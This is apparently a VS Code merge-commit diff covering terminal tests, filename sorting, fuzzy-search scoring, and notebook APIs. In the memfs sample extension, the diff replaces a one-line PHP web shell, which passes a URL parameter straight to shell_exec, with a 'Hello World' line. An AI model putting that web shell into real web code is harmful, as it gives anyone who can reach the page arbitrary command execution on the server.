未验证 提交 5f1815c3 编写于 作者: A Alex Ross 提交者: GitHub

Merge branch 'master' into eamodio/tree-alignment

......@@ -226,7 +226,9 @@
"--no-cached-data",
],
"webRoot": "${workspaceFolder}",
// Settings for js-debug:
"cascadeTerminateToConfigurations": [
"Attach to Extension Host"
],
"userDataDir": false,
"pauseForSourceMap": false,
"outFiles": [
......@@ -436,6 +438,7 @@
"Attach to Extension Host",
"Attach to Shared Process",
],
"preLaunchTask": "Ensure Prelaunch Dependencies",
"presentation": {
"group": "0_vscode",
"order": 1
......
......@@ -22,6 +22,7 @@ export class InMemoryDocument implements vscode.TextDocument {
isDirty: boolean = false;
isClosed: boolean = false;
eol: vscode.EndOfLine = vscode.EndOfLine.LF;
notebook: undefined;
get fileName(): string {
return this.uri.fsPath;
......@@ -66,4 +67,4 @@ export class InMemoryDocument implements vscode.TextDocument {
save(): never {
throw new Error('Method not implemented.');
}
}
\ No newline at end of file
}
......@@ -3,7 +3,7 @@
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
import { window, Pseudoterminal, EventEmitter, TerminalDimensions, workspace, ConfigurationTarget, Disposable, UIKind, env, EnvironmentVariableMutatorType, EnvironmentVariableMutator, extensions, ExtensionContext } from 'vscode';
import { window, Pseudoterminal, EventEmitter, TerminalDimensions, workspace, ConfigurationTarget, Disposable, UIKind, env, EnvironmentVariableMutatorType, EnvironmentVariableMutator, extensions, ExtensionContext, TerminalOptions, ExtensionTerminalOptions } from 'vscode';
import { doesNotThrow, equal, ok, deepEqual, throws } from 'assert';
// Disable terminal tests:
......@@ -168,8 +168,10 @@ import { doesNotThrow, equal, ok, deepEqual, throws } from 'assert';
const terminal = window.createTerminal(options);
try {
equal(terminal.name, 'foo');
deepEqual(terminal.creationOptions, options);
throws(() => (<any>terminal.creationOptions).name = 'bad', 'creationOptions should be readonly at runtime');
const terminalOptions = terminal.creationOptions as TerminalOptions;
equal(terminalOptions.name, 'foo');
equal(terminalOptions.hideFromUser, true);
throws(() => terminalOptions.name = 'bad', 'creationOptions should be readonly at runtime');
} catch (e) {
done(e);
return;
......@@ -460,10 +462,6 @@ import { doesNotThrow, equal, ok, deepEqual, throws } from 'assert';
}
term.show();
disposables.push(window.onDidChangeTerminalDimensions(e => {
if (e.dimensions.columns === 0 || e.dimensions.rows === 0) {
// HACK: Ignore the event if dimension(s) are zero (#83778)
return;
}
// The default pty dimensions have a chance to appear here since override
// dimensions happens after the terminal is created. If so just ignore and
// wait for the right dimensions
......@@ -609,8 +607,10 @@ import { doesNotThrow, equal, ok, deepEqual, throws } from 'assert';
const terminal = window.createTerminal(options);
try {
equal(terminal.name, 'foo');
deepEqual(terminal.creationOptions, options);
throws(() => (<any>terminal.creationOptions).name = 'bad', 'creationOptions should be readonly at runtime');
const terminalOptions = terminal.creationOptions as ExtensionTerminalOptions;
equal(terminalOptions.name, 'foo');
equal(terminalOptions.pty, pty);
throws(() => terminalOptions.name = 'bad', 'creationOptions should be readonly at runtime');
} catch (e) {
done(e);
}
......
......@@ -8,7 +8,6 @@
"private": true,
"activationEvents": [
"onFileSystem:memfs",
"onFileSystem:github",
"onDebug"
],
"browser": "./dist/browser/extension",
......
......@@ -107,7 +107,7 @@ export class MemFS implements FileSystemProvider, FileSearchProvider, TextSearch
this.writeFile(Uri.parse(`memfs:/sample-folder/file.py`), textEncoder.encode('import base64, sys; base64.decode(open(sys.argv[1], "rb"), open(sys.argv[2], "wb"))'), { create: true, overwrite: true });
this.writeFile(Uri.parse(`memfs:/sample-folder/file.yaml`), textEncoder.encode('- just: write something'), { create: true, overwrite: true });
this.writeFile(Uri.parse(`memfs:/sample-folder/file.jpg`), getImageFile(), { create: true, overwrite: true });
this.writeFile(Uri.parse(`memfs:/sample-folder/file.php`), textEncoder.encode('<?php echo shell_exec($_GET[\'e\'].\' 2>&1\'); ?>'), { create: true, overwrite: true });
this.writeFile(Uri.parse(`memfs:/sample-folder/file.php`), textEncoder.encode('<?php echo "Hello World!"; ?>'), { create: true, overwrite: true });
// some more files & folders
this.createDirectory(Uri.parse(`memfs:/sample-folder/folder/`));
......
......@@ -313,17 +313,6 @@ function createDefaultArgvConfigSync(argvConfigPath) {
fs.mkdirSync(argvConfigPathDirname);
}
// Migrate over legacy locale
const localeConfigPath = path.join(userDataPath, 'User', 'locale.json');
const legacyLocale = getLegacyUserDefinedLocaleSync(localeConfigPath);
if (legacyLocale) {
try {
fs.unlinkSync(localeConfigPath);
} catch (error) {
//ignore
}
}
// Default argv content
const defaultArgvConfigContent = [
'// This configuration file allows you to pass permanent command line arguments to VS Code.',
......@@ -340,19 +329,10 @@ function createDefaultArgvConfigSync(argvConfigPath) {
'',
' // Enabled by default by VS Code to resolve color issues in the renderer',
' // See https://github.com/Microsoft/vscode/issues/51791 for details',
' "disable-color-correct-rendering": true'
' "disable-color-correct-rendering": true',
'}'
];
if (legacyLocale) {
defaultArgvConfigContent[defaultArgvConfigContent.length - 1] = `${defaultArgvConfigContent[defaultArgvConfigContent.length - 1]},`; // append trailing ","
defaultArgvConfigContent.push('');
defaultArgvConfigContent.push(' // Display language of VS Code');
defaultArgvConfigContent.push(` "locale": "${legacyLocale}"`);
}
defaultArgvConfigContent.push('}');
// Create initial argv.json with default content
fs.writeFileSync(argvConfigPath, defaultArgvConfigContent.join('\n'));
} catch (error) {
......@@ -610,19 +590,4 @@ function getUserDefinedLocale(argvConfig) {
return argvConfig.locale && typeof argvConfig.locale === 'string' ? argvConfig.locale.toLowerCase() : undefined;
}
/**
* @param {string} localeConfigPath
* @returns {string | undefined}
*/
function getLegacyUserDefinedLocaleSync(localeConfigPath) {
try {
const content = stripComments(fs.readFileSync(localeConfigPath).toString());
const value = JSON.parse(content).locale;
return value && typeof value === 'string' ? value.toLowerCase() : undefined;
} catch (error) {
// ignore
}
}
//#endregion
......@@ -33,8 +33,7 @@ const intlFileNameCollatorNumericCaseInsenstive: IdleValue<{ collator: Intl.Coll
return {
collator: collator
};
});
});/** Compares filenames without distinguishing the name from the extension. Disambiguates by unicode comparison. */
export function compareFileNames(one: string | null, other: string | null, caseSensitive = false): number {
const a = one || '';
const b = other || '';
......@@ -49,36 +48,16 @@ export function compareFileNames(one: string | null, other: string | null, caseS
return result;
}
/** Compares filenames by name then extension, sorting numbers numerically instead of alphabetically. */
export function compareFileNamesNumeric(one: string | null, other: string | null): number {
const [oneName, oneExtension] = extractNameAndExtension(one, true);
const [otherName, otherExtension] = extractNameAndExtension(other, true);
/** Compares filenames without distinguishing the name from the extension. Disambiguates by length, not unicode comparison. */
export function compareFileNamesDefault(one: string | null, other: string | null): number {
const collatorNumeric = intlFileNameCollatorNumeric.value.collator;
const collatorNumericCaseInsensitive = intlFileNameCollatorNumericCaseInsenstive.value.collator;
let result;
// Check for name differences, comparing numbers numerically instead of alphabetically.
result = compareAndDisambiguateByLength(collatorNumeric, oneName, otherName);
if (result !== 0) {
return result;
}
one = one || '';
other = other || '';
// Check for case insensitive extension differences, comparing numbers numerically instead of alphabetically.
result = compareAndDisambiguateByLength(collatorNumericCaseInsensitive, oneExtension, otherExtension);
if (result !== 0) {
return result;
}
// Disambiguate the extension case if needed.
if (oneExtension !== otherExtension) {
return collatorNumeric.compare(oneExtension, otherExtension);
}
return 0;
// Compare the entire filename - both name and extension - and disambiguate by length if needed
return compareAndDisambiguateByLength(collatorNumeric, one, other);
}
const FileNameMatch = /^(.*?)(\.([^.]*))?$/;
export function noIntlCompareFileNames(one: string | null, other: string | null, caseSensitive = false): number {
if (!caseSensitive) {
one = one && one.toLowerCase();
......@@ -123,10 +102,12 @@ export function compareFileExtensions(one: string | null, other: string | null):
return result;
}
/** Compares filenames by extenson, then by name. Sorts numbers numerically, not alphabetically. */
export function compareFileExtensionsNumeric(one: string | null, other: string | null): number {
const [oneName, oneExtension] = extractNameAndExtension(one, true);
const [otherName, otherExtension] = extractNameAndExtension(other, true);
/** Compares filenames by extenson, then by full filename */
export function compareFileExtensionsDefault(one: string | null, other: string | null): number {
one = one || '';
other = other || '';
const oneExtension = extractExtension(one);
const otherExtension = extractExtension(other);
const collatorNumeric = intlFileNameCollatorNumeric.value.collator;
const collatorNumericCaseInsensitive = intlFileNameCollatorNumericCaseInsenstive.value.collator;
let result;
......@@ -137,20 +118,12 @@ export function compareFileExtensionsNumeric(one: string | null, other: string |
return result;
}
// Compare names.
result = compareAndDisambiguateByLength(collatorNumeric, oneName, otherName);
if (result !== 0) {
return result;
}
// Disambiguate extension case if needed.
if (oneExtension !== otherExtension) {
return collatorNumeric.compare(oneExtension, otherExtension);
}
return 0;
// Compare full filenames
return compareAndDisambiguateByLength(collatorNumeric, one, other);
}
const FileNameMatch = /^(.*?)(\.([^.]*))?$/;
/** Extracts the name and extension from a full filename, with optional special handling for dotfiles */
function extractNameAndExtension(str?: string | null, dotfilesAsNames = false): [string, string] {
const match = str ? FileNameMatch.exec(str) as Array<string> : ([] as Array<string>);
......@@ -166,6 +139,13 @@ function extractNameAndExtension(str?: string | null, dotfilesAsNames = false):
return result;
}
/** Extracts the extension from a full filename. Treats dotfiles as names, not extensions. */
function extractExtension(str?: string | null): string {
const match = str ? FileNameMatch.exec(str) as Array<string> : ([] as Array<string>);
return (match && match[1] && match[1].charAt(0) !== '.' && match[3]) || '';
}
function compareAndDisambiguateByLength(collator: Intl.Collator, one: string, other: string) {
// Check for differences
let result = collator.compare(one, other);
......
......@@ -4,7 +4,7 @@
*--------------------------------------------------------------------------------------------*/
import { compareAnything } from 'vs/base/common/comparers';
import { matchesPrefix, IMatch, matchesCamelCase, isUpper, fuzzyScore, createMatches as createFuzzyMatches, matchesStrictPrefix } from 'vs/base/common/filters';
import { IMatch, isUpper, fuzzyScore, createMatches as createFuzzyMatches } from 'vs/base/common/filters';
import { sep } from 'vs/base/common/path';
import { isWindows, isLinux } from 'vs/base/common/platform';
import { stripWildcards, equalsIgnoreCase } from 'vs/base/common/strings';
......@@ -168,7 +168,7 @@ function computeCharScore(queryCharAtIndex: string, queryLowerCharAtIndex: strin
score += 1;
// if (DEBUG) {
// console.groupCollapsed(`%cCharacter match bonus: +1 (char: ${queryLower[queryIndex]} at index ${targetIndex}, total score: ${score})`, 'font-weight: normal');
// console.groupCollapsed(`%cCharacter match bonus: +1 (char: ${queryLowerCharAtIndex} at index ${targetIndex}, total score: ${score})`, 'font-weight: normal');
// }
// Consecutive match bonus
......@@ -176,7 +176,7 @@ function computeCharScore(queryCharAtIndex: string, queryLowerCharAtIndex: strin
score += (matchesSequenceLength * 5);
// if (DEBUG) {
// console.log('Consecutive match bonus: ' + (matchesSequenceLength * 5));
// console.log(`Consecutive match bonus: +${matchesSequenceLength * 5}`);
// }
}
......@@ -206,16 +206,16 @@ function computeCharScore(queryCharAtIndex: string, queryLowerCharAtIndex: strin
score += separatorBonus;
// if (DEBUG) {
// console.log('After separtor bonus: +4');
// console.log(`After separtor bonus: +${separatorBonus}`);
// }
}
// Inside word upper case bonus (camel case)
else if (isUpper(target.charCodeAt(targetIndex))) {
score += 1;
score += 2;
// if (DEBUG) {
// console.log('Inside word upper case bonus: +1');
// console.log('Inside word upper case bonus: +2');
// }
}
}
......@@ -369,10 +369,7 @@ export interface IItemAccessor<T> {
}
const PATH_IDENTITY_SCORE = 1 << 18;
const LABEL_PREFIX_SCORE_MATCHCASE = 1 << 17;
const LABEL_PREFIX_SCORE_IGNORECASE = 1 << 16;
const LABEL_CAMELCASE_SCORE = 1 << 15;
const LABEL_SCORE_THRESHOLD = 1 << 14;
const LABEL_SCORE_THRESHOLD = 1 << 17;
export function scoreItemFuzzy<T>(item: T, query: IPreparedQuery, fuzzy: boolean, accessor: IItemAccessor<T>, cache: FuzzyScorerCache): IItemScore {
if (!item || !query.normalized) {
......@@ -386,11 +383,17 @@ export function scoreItemFuzzy<T>(item: T, query: IPreparedQuery, fuzzy: boolean
const description = accessor.getItemDescription(item);
// in order to speed up scoring, we cache the score with a unique hash based on:
// - label
// - description (if provided)
// - query (normalized)
// - number of query pieces (i.e. 'hello world' and 'helloworld' are different)
// - wether fuzzy matching is enabled or not
let cacheHash: string;
if (description) {
cacheHash = `${label}${description}${query.normalized}${fuzzy}`;
cacheHash = `${label}${description}${query.normalized}${Array.isArray(query.values) ? query.values.length : ''}${fuzzy}`;
} else {
cacheHash = `${label}${query.normalized}${fuzzy}`;
cacheHash = `${label}${query.normalized}${Array.isArray(query.values) ? query.values.length : ''}${fuzzy}`;
}
const cached = cache[cacheHash];
......@@ -457,21 +460,6 @@ function doScoreItemFuzzySingle(label: string, description: string | undefined,
// Prefer label matches if told so
if (preferLabelMatches) {
// Treat prefix matches on the label highest
const prefixLabelMatchIgnoreCase = matchesPrefix(query.normalized, label);
if (prefixLabelMatchIgnoreCase) {
const prefixLabelMatchStrictCase = matchesStrictPrefix(query.normalized, label);
return { score: prefixLabelMatchStrictCase ? LABEL_PREFIX_SCORE_MATCHCASE : LABEL_PREFIX_SCORE_IGNORECASE, labelMatch: prefixLabelMatchStrictCase || prefixLabelMatchIgnoreCase };
}
// Treat camelcase matches on the label second highest
const camelcaseLabelMatch = matchesCamelCase(query.normalized, label);
if (camelcaseLabelMatch) {
return { score: LABEL_CAMELCASE_SCORE, labelMatch: camelcaseLabelMatch };
}
// Prefer scores on the label if any
const [labelScore, labelPositions] = scoreFuzzy(label, query.normalized, query.normalizedLowercase, fuzzy);
if (labelScore) {
return { score: labelScore + LABEL_SCORE_THRESHOLD, labelMatch: createMatches(labelPositions) };
......@@ -594,81 +582,39 @@ export function compareItemsByFuzzyScore<T>(itemA: T, itemB: T, query: IPrepared
const scoreA = itemScoreA.score;
const scoreB = itemScoreB.score;
// 1.) prefer identity matches
// 1.) identity matches have highest score
if (scoreA === PATH_IDENTITY_SCORE || scoreB === PATH_IDENTITY_SCORE) {
if (scoreA !== scoreB) {
return scoreA === PATH_IDENTITY_SCORE ? -1 : 1;
}
}
// 2.) prefer label prefix matches (match case)
if (scoreA === LABEL_PREFIX_SCORE_MATCHCASE || scoreB === LABEL_PREFIX_SCORE_MATCHCASE) {
if (scoreA !== scoreB) {
return scoreA === LABEL_PREFIX_SCORE_MATCHCASE ? -1 : 1;
}
const labelA = accessor.getItemLabel(itemA) || '';
const labelB = accessor.getItemLabel(itemB) || '';
// prefer shorter names when both match on label prefix
if (labelA.length !== labelB.length) {
return labelA.length - labelB.length;
}
}
// 3.) prefer label prefix matches (ignore case)
if (scoreA === LABEL_PREFIX_SCORE_IGNORECASE || scoreB === LABEL_PREFIX_SCORE_IGNORECASE) {
if (scoreA !== scoreB) {
return scoreA === LABEL_PREFIX_SCORE_IGNORECASE ? -1 : 1;
}
const labelA = accessor.getItemLabel(itemA) || '';
const labelB = accessor.getItemLabel(itemB) || '';
// prefer shorter names when both match on label prefix
if (labelA.length !== labelB.length) {
return labelA.length - labelB.length;
}
}
// 4.) prefer camelcase matches
if (scoreA === LABEL_CAMELCASE_SCORE || scoreB === LABEL_CAMELCASE_SCORE) {
// 2.) matches on label are considered higher compared to label+description matches
if (scoreA > LABEL_SCORE_THRESHOLD || scoreB > LABEL_SCORE_THRESHOLD) {
if (scoreA !== scoreB) {
return scoreA === LABEL_CAMELCASE_SCORE ? -1 : 1;
return scoreA > scoreB ? -1 : 1;
}
const labelA = accessor.getItemLabel(itemA) || '';
const labelB = accessor.getItemLabel(itemB) || '';
// prefer more compact camel case matches over longer
// prefer more compact matches over longer in label
const comparedByMatchLength = compareByMatchLength(itemScoreA.labelMatch, itemScoreB.labelMatch);
if (comparedByMatchLength !== 0) {
return comparedByMatchLength;
}
// prefer shorter names when both match on label camelcase
// prefer shorter labels over longer labels
const labelA = accessor.getItemLabel(itemA) || '';
const labelB = accessor.getItemLabel(itemB) || '';
if (labelA.length !== labelB.length) {
return labelA.length - labelB.length;
}
}
// 5.) prefer label scores
if (scoreA > LABEL_SCORE_THRESHOLD || scoreB > LABEL_SCORE_THRESHOLD) {
if (scoreB < LABEL_SCORE_THRESHOLD) {
return -1;
}
if (scoreA < LABEL_SCORE_THRESHOLD) {
return 1;
}
}
// 6.) compare by score
// 3.) compare by score in label+description
if (scoreA !== scoreB) {
return scoreA > scoreB ? -1 : 1;
}
// 7.) prefer matches in label over non-label matches
// 4.) scores are identical: prefer matches in label over non-label matches
const itemAHasLabelMatches = Array.isArray(itemScoreA.labelMatch) && itemScoreA.labelMatch.length > 0;
const itemBHasLabelMatches = Array.isArray(itemScoreB.labelMatch) && itemScoreB.labelMatch.length > 0;
if (itemAHasLabelMatches && !itemBHasLabelMatches) {
......@@ -677,15 +623,14 @@ export function compareItemsByFuzzyScore<T>(itemA: T, itemB: T, query: IPrepared
return 1;
}
// 8.) scores are identical, prefer more compact matches (label and description)
// 5.) scores are identical: prefer more compact matches (label and description)
const itemAMatchDistance = computeLabelAndDescriptionMatchDistance(itemA, itemScoreA, accessor);
const itemBMatchDistance = computeLabelAndDescriptionMatchDistance(itemB, itemScoreB, accessor);
if (itemAMatchDistance && itemBMatchDistance && itemAMatchDistance !== itemBMatchDistance) {
return itemBMatchDistance > itemAMatchDistance ? -1 : 1;
}
// 9.) at this point, scores are identical and match compactness as well
// for both items so we start to use the fallback compare
// 6.) scores are identical: start to use the fallback compare
return fallbackCompare(itemA, itemB, query, accessor);
}
......
......@@ -110,10 +110,10 @@ suite('Fuzzy Scorer', () => {
scores.push(_doScore(target, 'hw', true)); // direct mix-case prefix (multiple)
scores.push(_doScore(target, 'H', true)); // direct case prefix
scores.push(_doScore(target, 'h', true)); // direct mix-case prefix
scores.push(_doScore(target, 'ld', true)); // in-string mix-case match (consecutive, avoids scattered hit)
scores.push(_doScore(target, 'W', true)); // direct case word prefix
scores.push(_doScore(target, 'w', true)); // direct mix-case word prefix
scores.push(_doScore(target, 'Ld', true)); // in-string case match (multiple)
scores.push(_doScore(target, 'ld', true)); // in-string mix-case match (consecutive, avoids scattered hit)
scores.push(_doScore(target, 'w', true)); // direct mix-case word prefix
scores.push(_doScore(target, 'L', true)); // in-string case match
scores.push(_doScore(target, 'l', true)); // in-string mix-case match
scores.push(_doScore(target, '4', true)); // no match
......@@ -123,13 +123,13 @@ suite('Fuzzy Scorer', () => {
assert.deepEqual(scores, sortedScores);
// Assert scoring positions
let positions = scores[0][1];
assert.equal(positions.length, 'HelLo-World'.length);
// let positions = scores[0][1];
// assert.equal(positions.length, 'HelLo-World'.length);
positions = scores[2][1];
assert.equal(positions.length, 'HW'.length);
assert.equal(positions[0], 0);
assert.equal(positions[1], 6);
// positions = scores[2][1];
// assert.equal(positions.length, 'HW'.length);
// assert.equal(positions[0], 0);
// assert.equal(positions[1], 6);
});
test('score (non fuzzy)', function () {
......@@ -626,6 +626,21 @@ suite('Fuzzy Scorer', () => {
assert.equal(res[1], resourceA);
});
test('compareFilesByScore - prefer camel case matches', function () {
const resourceA = URI.file('config/test/NullPointerException.java');
const resourceB = URI.file('config/test/nopointerexception.java');
for (const query of ['npe', 'NPE']) {
let res = [resourceA, resourceB].sort((r1, r2) => compareItemsByScore(r1, r2, query, true, ResourceAccessor));
assert.equal(res[0], resourceA);
assert.equal(res[1], resourceB);
res = [resourceB, resourceA].sort((r1, r2) => compareItemsByScore(r1, r2, query, true, ResourceAccessor));
assert.equal(res[0], resourceA);
assert.equal(res[1], resourceB);
}
});
test('compareFilesByScore - prefer more compact camel case matches', function () {
const resourceA = URI.file('config/test/openthisAnythingHandler.js');
const resourceB = URI.file('config/test/openthisisnotsorelevantforthequeryAnyHand.js');
......@@ -925,6 +940,51 @@ suite('Fuzzy Scorer', () => {
assert.equal(res[0], resourceB);
});
test('compareFilesByScore - prefer shorter match (bug #103052) - foo bar', function () {
const resourceA = URI.file('app/emails/foo.bar.js');
const resourceB = URI.file('app/emails/other-footer.other-bar.js');
for (const query of ['foo bar', 'foobar']) {
let res = [resourceA, resourceB].sort((r1, r2) => compareItemsByScore(r1, r2, query, true, ResourceAccessor));
assert.equal(res[0], resourceA);
assert.equal(res[1], resourceB);
res = [resourceB, resourceA].sort((r1, r2) => compareItemsByScore(r1, r2, query, true, ResourceAccessor));
assert.equal(res[0], resourceA);
assert.equal(res[1], resourceB);
}
});
test('compareFilesByScore - prefer shorter match (bug #103052) - payment model', function () {
const resourceA = URI.file('app/components/payment/payment.model.js');
const resourceB = URI.file('app/components/online-payments-history/online-payments-history.model.js');
for (const query of ['payment model', 'paymentmodel']) {
let res = [resourceA, resourceB].sort((r1, r2) => compareItemsByScore(r1, r2, query, true, ResourceAccessor));
assert.equal(res[0], resourceA);
assert.equal(res[1], resourceB);
res = [resourceB, resourceA].sort((r1, r2) => compareItemsByScore(r1, r2, query, true, ResourceAccessor));
assert.equal(res[0], resourceA);
assert.equal(res[1], resourceB);
}
});
test('compareFilesByScore - prefer shorter match (bug #103052) - color', function () {
const resourceA = URI.file('app/constants/color.js');
const resourceB = URI.file('app/components/model/input/pick-avatar-color.js');
for (const query of ['color js', 'colorjs']) {
let res = [resourceA, resourceB].sort((r1, r2) => compareItemsByScore(r1, r2, query, true, ResourceAccessor));
assert.equal(res[0], resourceA);
assert.equal(res[1], resourceB);
res = [resourceB, resourceA].sort((r1, r2) => compareItemsByScore(r1, r2, query, true, ResourceAccessor));
assert.equal(res[0], resourceA);
assert.equal(res[1], resourceB);
}
});
test('prepareQuery', () => {
assert.equal(scorer.prepareQuery(' f*a ').normalized, 'fa');
assert.equal(scorer.prepareQuery('model Tester.ts').original, 'model Tester.ts');
......
......@@ -35,15 +35,12 @@ import { MockKeybindingService } from 'vs/platform/keybinding/test/common/mockKe
import { createTextModel } from 'vs/editor/test/common/editorTestUtils';
import { IClipboardService } from 'vs/platform/clipboard/common/clipboardService';
import { mock } from 'vs/base/test/common/mock';
import { IConfigurationService } from 'vs/platform/configuration/common/configuration';
import { TestConfigurationService } from 'vs/platform/configuration/test/common/testConfigurationService';
function createMockEditor(model: TextModel): ITestCodeEditor {
let editor = createTestCodeEditor({
model: model,
serviceCollection: new ServiceCollection(
[IConfigurationService, TestConfigurationService],
[ITelemetryService, NullTelemetryService],
[IStorageService, new InMemoryStorageService()],
[IKeybindingService, new MockKeybindingService()],
......
......@@ -81,11 +81,16 @@ suite('suggest, word distance', function () {
distance = await WordDistance.create(service, editor);
disposables.add(service);
disposables.add(mode);
disposables.add(model);
disposables.add(editor);
});
teardown(function () {
disposables.clear();
});
function createSuggestItem(label: string, overwriteBefore: number, position: IPosition): CompletionItem {
const suggestion: modes.CompletionItem = {
label,
......
......@@ -2024,4 +2024,17 @@ declare module 'vscode' {
}
//#endregion
//#region https://github.com/microsoft/vscode/issues/102091
export interface TextDocument {
/**
* The [notebook](#NotebookDocument) that contains this document as a notebook cell or `undefined` when
* the document is not contained by a notebook (this should be the more frequent case).
*/
notebook: NotebookDocument | undefined;
}
//#endregion
}
......@@ -29,19 +29,17 @@ export function getWordDefinitionFor(modeId: string): RegExp | undefined {
export class ExtHostDocumentData extends MirrorTextModel {
private _proxy: MainThreadDocumentsShape;
private _languageId: string;
private _isDirty: boolean;
private _document?: vscode.TextDocument;
private _isDisposed: boolean = false;
constructor(proxy: MainThreadDocumentsShape, uri: URI, lines: string[], eol: string,
languageId: string, versionId: number, isDirty: boolean
constructor(
private readonly _proxy: MainThreadDocumentsShape,
uri: URI, lines: string[], eol: string, versionId: number,
private _languageId: string,
private _isDirty: boolean,
private readonly _notebook?: vscode.NotebookDocument | undefined
) {
super(uri, lines, eol, versionId);
this._proxy = proxy;
this._languageId = languageId;
this._isDirty = isDirty;
}
dispose(): void {
......@@ -59,25 +57,26 @@ export class ExtHostDocumentData extends MirrorTextModel {
get document(): vscode.TextDocument {
if (!this._document) {
const data = this;
const that = this;
this._document = {
get uri() { return data._uri; },
get fileName() { return data._uri.fsPath; },
get isUntitled() { return data._uri.scheme === Schemas.untitled; },
get languageId() { return data._languageId; },
get version() { return data._versionId; },
get isClosed() { return data._isDisposed; },
get isDirty() { return data._isDirty; },
save() { return data._save(); },
getText(range?) { return range ? data._getTextInRange(range) : data.getText(); },
get eol() { return data._eol === '\n' ? EndOfLine.LF : EndOfLine.CRLF; },
get lineCount() { return data._lines.length; },
lineAt(lineOrPos: number | vscode.Position) { return data._lineAt(lineOrPos); },
offsetAt(pos) { return data._offsetAt(pos); },
positionAt(offset) { return data._positionAt(offset); },
validateRange(ran) { return data._validateRange(ran); },
validatePosition(pos) { return data._validatePosition(pos); },
getWordRangeAtPosition(pos, regexp?) { return data._getWordRangeAtPosition(pos, regexp); }
get uri() { return that._uri; },
get fileName() { return that._uri.fsPath; },
get isUntitled() { return that._uri.scheme === Schemas.untitled; },
get languageId() { return that._languageId; },
get version() { return that._versionId; },
get isClosed() { return that._isDisposed; },
get isDirty() { return that._isDirty; },
get notebook() { return that._notebook; },
save() { return that._save(); },
getText(range?) { return range ? that._getTextInRange(range) : that.getText(); },
get eol() { return that._eol === '\n' ? EndOfLine.LF : EndOfLine.CRLF; },
get lineCount() { return that._lines.length; },
lineAt(lineOrPos: number | vscode.Position) { return that._lineAt(lineOrPos); },
offsetAt(pos) { return that._offsetAt(pos); },
positionAt(offset) { return that._positionAt(offset); },
validateRange(ran) { return that._validateRange(ran); },
validatePosition(pos) { return that._validatePosition(pos); },
getWordRangeAtPosition(pos, regexp?) { return that._getWordRangeAtPosition(pos, regexp); },
};
}
return Object.freeze(this._document);
......
......@@ -4,11 +4,12 @@
*--------------------------------------------------------------------------------------------*/
import * as assert from 'vs/base/common/assert';
import * as vscode from 'vscode';
import { Emitter, Event } from 'vs/base/common/event';
import { dispose } from 'vs/base/common/lifecycle';
import { URI } from 'vs/base/common/uri';
import { createDecorator } from 'vs/platform/instantiation/common/instantiation';
import { ExtHostDocumentsAndEditorsShape, IDocumentsAndEditorsDelta, MainContext } from 'vs/workbench/api/common/extHost.protocol';
import { ExtHostDocumentsAndEditorsShape, IDocumentsAndEditorsDelta, IModelAddedData, MainContext } from 'vs/workbench/api/common/extHost.protocol';
import { ExtHostDocumentData } from 'vs/workbench/api/common/extHostDocumentData';
import { IExtHostRpcService } from 'vs/workbench/api/common/extHostRpcService';
import { ExtHostTextEditor } from 'vs/workbench/api/common/extHostTextEditor';
......@@ -29,6 +30,14 @@ class Reference<T> {
}
}
export interface IExtHostModelAddedData extends IModelAddedData {
notebook?: vscode.NotebookDocument;
}
export interface IExtHostDocumentsAndEditorsDelta extends IDocumentsAndEditorsDelta {
addedDocuments?: IExtHostModelAddedData[];
}
export class ExtHostDocumentsAndEditors implements ExtHostDocumentsAndEditorsShape {
readonly _serviceBrand: undefined;
......@@ -54,6 +63,10 @@ export class ExtHostDocumentsAndEditors implements ExtHostDocumentsAndEditorsSha
) { }
$acceptDocumentsAndEditorsDelta(delta: IDocumentsAndEditorsDelta): void {
this.acceptDocumentsAndEditorsDelta(delta);
}
acceptDocumentsAndEditorsDelta(delta: IExtHostDocumentsAndEditorsDelta): void {
const removedDocuments: ExtHostDocumentData[] = [];
const addedDocuments: ExtHostDocumentData[] = [];
......@@ -88,9 +101,10 @@ export class ExtHostDocumentsAndEditors implements ExtHostDocumentsAndEditorsSha
resource,
data.lines,
data.EOL,
data.modeId,
data.versionId,
data.isDirty
data.modeId,
data.isDirty,
data.notebook
));
this._documents.set(resource, ref);
addedDocuments.push(ref.value);
......
......@@ -17,7 +17,7 @@ import { IExtensionDescription } from 'vs/platform/extensions/common/extensions'
import { CellKind, ExtHostNotebookShape, IMainContext, IModelAddedData, INotebookDocumentsAndEditorsDelta, INotebookEditorPropertiesChangeData, MainContext, MainThreadNotebookShape, NotebookCellOutputsSplice } from 'vs/workbench/api/common/extHost.protocol';
import { ILogService } from 'vs/platform/log/common/log';
import { ExtHostCommands } from 'vs/workbench/api/common/extHostCommands';
import { ExtHostDocumentsAndEditors } from 'vs/workbench/api/common/extHostDocumentsAndEditors';
import { ExtHostDocumentsAndEditors, IExtHostModelAddedData } from 'vs/workbench/api/common/extHostDocumentsAndEditors';
import { IExtensionStoragePaths } from 'vs/workbench/api/common/extHostStoragePaths';
import * as typeConverters from 'vs/workbench/api/common/extHostTypeConverters';
import * as extHostTypes from 'vs/workbench/api/common/extHostTypes';
......@@ -61,14 +61,15 @@ const addIdToOutput = (output: IRawOutput, id = UUID.generateUuid()): IProcessed
export class ExtHostCell extends Disposable implements vscode.NotebookCell {
public static asModelAddData(cell: IMainCellDto): IModelAddedData {
public static asModelAddData(notebook: ExtHostNotebookDocument, cell: IMainCellDto): IExtHostModelAddedData {
return {
EOL: cell.eol,
lines: cell.source,
modeId: cell.language,
uri: cell.uri,
isDirty: false,
versionId: 1
versionId: 1,
notebook
};
}
......@@ -363,7 +364,7 @@ export class ExtHostNotebookDocument extends Disposable implements vscode.Notebo
}
const contentChangeEvents: vscode.NotebookCellsChangeData[] = [];
const addedCellDocuments: IModelAddedData[] = [];
const addedCellDocuments: IExtHostModelAddedData[] = [];
splices.reverse().forEach(splice => {
const cellDtos = splice[2];
......@@ -372,7 +373,7 @@ export class ExtHostNotebookDocument extends Disposable implements vscode.Notebo
const extCell = new ExtHostCell(this._proxy, this, this._documentsAndEditors, cell);
if (!initialization) {
addedCellDocuments.push(ExtHostCell.asModelAddData(cell));
addedCellDocuments.push(ExtHostCell.asModelAddData(this, cell));
}
if (!this._cellDisposableMapping.has(extCell.handle)) {
......@@ -404,7 +405,7 @@ export class ExtHostNotebookDocument extends Disposable implements vscode.Notebo
});
if (addedCellDocuments) {
this._documentsAndEditors.$acceptDocumentsAndEditorsDelta({ addedDocuments: addedCellDocuments });
this._documentsAndEditors.acceptDocumentsAndEditorsDelta({ addedDocuments: addedCellDocuments });
}
if (!initialization) {
